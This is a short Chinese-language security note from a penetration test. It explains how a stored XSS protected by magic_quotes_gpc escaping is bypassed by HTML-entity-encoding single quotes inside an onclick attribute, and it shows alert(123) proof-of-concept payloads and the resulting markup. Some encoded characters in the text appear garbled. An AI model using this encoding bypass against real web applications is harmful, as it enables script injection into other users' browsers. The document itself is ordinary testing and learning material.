脆弱性测试的时候,发现了一处输出没有做编码转换,但由于开启了magic_quote_gpc,导致提交的数据中,' "都被转义,最后导致输出的地方不能执行恶意js。
如下:
提交的恶意数据为
1
|
',alert(123),'
|
因为被magic_quote_gpc转义,存储到后台的数据也是被转义的,导致输出的结果为
1
|
<
img
src
=
'xxx'
onclick
=
"edit('1','1.1.1.1','\',alert(123),\'')"
/>
|
|
后来参考了乌云上的一篇文章:http://www.wooyun.org/bugs/wooyun-2010-019754 |
浏览器中html的解析优先于js的解析,所以将提交的数据中,单引号进行html编码,同时绕过了gpc的转义
1
|
%26#29,alert(123),%25#29,
|
输出结果为
1
|
<
img
src
=
'xxx'
onclick
=
"edit('1','1.1.1.1',',alert(123),')"
/>
|
后来做了一下测试,在如下的代码中,第一个js弹窗出现的内容是♥,但是第二个弹窗则是♥。当点击图片时,因为标签内容先经过了一遍html解析,所以最后传递给js的内容为 edit('1','1.1.1.1','',alert(123),''),出现弹窗。
想了一下,估计是浏览器在执行的时候,遇到js标签,直接将内容交给js解析器了,但是第二个则是先经过了html解析img标签,然后点击图片的时候,提交给js的这是html解析之后的数据了。
1
2
3
4
5
6
|
<
html
>
<
body
>
<
script
>alert('♥')
script
>
<
img
src
=
"123"
onclick
=
"alert('♥')"
/>
body
>
html
>
|